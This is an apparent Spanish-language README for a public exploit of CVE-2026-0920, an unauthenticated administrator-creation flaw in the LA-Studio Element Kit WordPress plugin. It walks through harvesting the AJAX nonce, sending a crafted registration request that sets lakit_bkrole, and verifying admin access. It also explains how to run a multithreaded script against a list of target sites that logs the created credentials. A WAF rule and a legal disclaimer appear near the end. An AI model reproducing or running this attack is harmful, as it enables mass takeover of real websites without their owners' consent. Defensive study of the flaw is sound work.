
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Escalada de Privilegios No Autenticada mediante Backdoor para la Creación de Usuarios Administrativos vía el parámetro lakit_bkrole
LA-Studio Element Kit para Elementor <= 1.5.6.3 - Escalada de privilegios no autenticada mediante puerta trasera para la creación de usuarios administrativos a través del parámetro lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 El exploit se publica aquí primero. Sigue a @KNxploited en Telegram: tu fuente de élite de CVEs recién divulgados, PoCs funcionales e investigación de seguridad de precisión. Actualizada sin descanso. Diseñada para quienes se mantienen a la vanguardia.
CVE-2026-0920 es una vulnerabilidad CVSS 9.8 Crítica descubierta en el plugin de WordPress LA-Studio Element Kit for Elementor.
La falla reside en la función ajax_register_handle(), que procesa registros de usuarios no autenticados mediante AJAX. La función no aplica ninguna restricción sobre el parámetro lakit_bkrole, lo que permite a un atacante completamente no autenticado autoasignarse el rol administrator durante el registro, logrando la toma de control total del administrador de WordPress en una sola petición.
La causa raíz es la ausencia de una comprobación de capacidades de rol dentro del manejador de registro AJAX del plugin:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
Por qué esto es crítico:
wp_ajax_nopriv_* = accesible por cualquier persona sin autenticación algunalakit_bkrole acepta cualquier cadena de rol de WordPress, incluido administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| Dependencia | Propósito |
|---|---|
requests | Peticiones HTTP, manejo de sesiones, gestión de cookies |
Se recomienda Python 3.10+ (usa sugerencias de tipo unión
str | None).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
Abre CVE-2026-0920.py y edita las constantes de la parte superior para establecer los detalles de tu cuenta de administrador deseada:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
Crea list.txt con una URL de objetivo por línea:
https://target1.com
https://target2.com
http://target3.com
Las URLs sin esquema reciben automáticamente el prefijo
https://.
python CVE-2026-0920.py
Se te solicitará:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
El script genera una salida de terminal en tiempo real y con códigos de color:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| Color | Significado |
|---|
Los exploits exitosos se escriben en success_results.txt:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
Cada línea contiene el panorama completo: objetivo, credenciales, estado de inicio de sesión, estado de la respuesta AJAX y el nonce utilizado.
El script realiza una verificación en dos etapas para eliminar falsos positivos:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
Esto elimina los falsos positivos causados por sitios que devuelven 200 OK en AJAX pero fallan silenciosamente en el registro.
El exploit genera este patrón de red específico, para defensores y autores de WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
Regla de WAF / IDS (seudocódigo):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
Si eres propietario de un sitio, desarrollador o defensor, actúa de inmediato:
admin-ajax.php que contengan lakit_bkrolelakit_ajaxTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Alias | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Sigue a @KNxploited en Telegram CVEs recientes. Exploits funcionales. Investigación de vulnerabilidades en profundidad. Los primeros en saberlo. Los primeros en actuar. No seas el último.
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-0920 |
| Plugin | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| Versiones afectadas | Todas las versiones hasta la 1.5.6.3 inclusive |
| Tipo de vulnerabilidad | Escalada de privilegios no autenticada / Creación de administrador |
| Vector de ataque | Red — no se requiere autenticación |
| Puntuación CVSS 3.1 | 9.8 CRÍTICA |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Toma de control total del administrador de WordPress |
| Investigador | Nxploited |
colorama |
| Salida de terminal en color en todas las plataformas |
threading | Procesamiento concurrente de múltiples objetivos |
re | Extracción de nonces basada en expresiones regulares desde HTML/JS |
🔵 Cian [*] | Informativo — paso en curso |
🟢 Verde [+] | Señal positiva — éxito parcial o total |
🟡 Amarillo [!] | Advertencia — resultado ambiguo, requiere revisión |
🔴 Rojo [-] | Fallo — objetivo no explotable o con errores |
| Parámetro | Valor por defecto | Descripción |
|---|
| Archivo de objetivos | list.txt | Archivo que contiene las URLs de los objetivos |
| Hilos | 10 (máx.: 50) | Trabajadores concurrentes |
ADMIN_EMAIL | [email protected] | Correo para la cuenta de administrador inyectada |
ADMIN_PASSWORD | adminSA | Contraseña de la cuenta de administrador inyectada |
ADMIN_USERNAME | Nx_admin | Nombre de usuario de la cuenta de administrador inyectada |